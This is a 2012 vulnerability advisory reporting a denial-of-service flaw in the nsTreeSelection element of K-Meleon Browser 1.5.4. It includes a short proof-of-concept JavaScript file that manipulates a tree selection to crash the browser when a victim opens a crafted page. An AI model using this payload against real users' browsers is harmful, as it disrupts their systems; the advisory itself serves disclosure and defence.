Document Title:
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K-Meleon Browser v1.5.4 - Denial of Service Vulnerability
References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=510
Release Date:
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2012-04-13
Vulnerability Laboratory ID (VL-ID):
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510
Common Vulnerability Scoring System:
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5.2
Product & Service Introduction:
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K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko
layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open
Source software released under the GNU General Public License and is designed specifically
for Microsoft Windows operating systems.
(Copy of the Vendor Homepage: http://kmeleon.sourceforge.net )
Abstract Advisory Information:
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Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon Browser v1.5.4.
Vulnerability Disclosure Timeline:
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2012-04-14: Public or Non-Public Disclosure
Discovery Status:
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Published
Exploitation Technique:
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Remote
Severity Level:
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Medium
Technical Details & Description:
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A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows
an attacker to form manipulated files to crash th victims browser stable when processing to request.
The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results
in a stable (bex exception) application (StackHash_2c85) crash.
Vulnerable Module(s):
[+] nsTreeSelection element
Picture(s):
../1.png
../2.png
../3.png
Proof of Concept (PoC):
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The vulnerability can be exploited by remote attackers. Victim only need to visit the
malicious file (frame-class.html) to crash stable. For demonstration or reproduce ...
frame-class.html
tree.xul
rem0ve.js
function Init()
{
var tree=document.getElementById('penetrationtest');
tree.view.selection.select(0);
doSelect();
}
function doSelect()
{
var tree=document.getElementById('penetrationtest');
var sel = tree.view.selection;
sel.tree = { invalidateRange: function(v,l)
{
sel.clearSelection();
}
}
}
setTimeout("Init()",500);
Security Risk:
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The security risk of the denial of service vulnerability is estimated as medium(-).
Credits & Authors:
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Vulnerability Laboratory [Research Team] - N/A Anonymous
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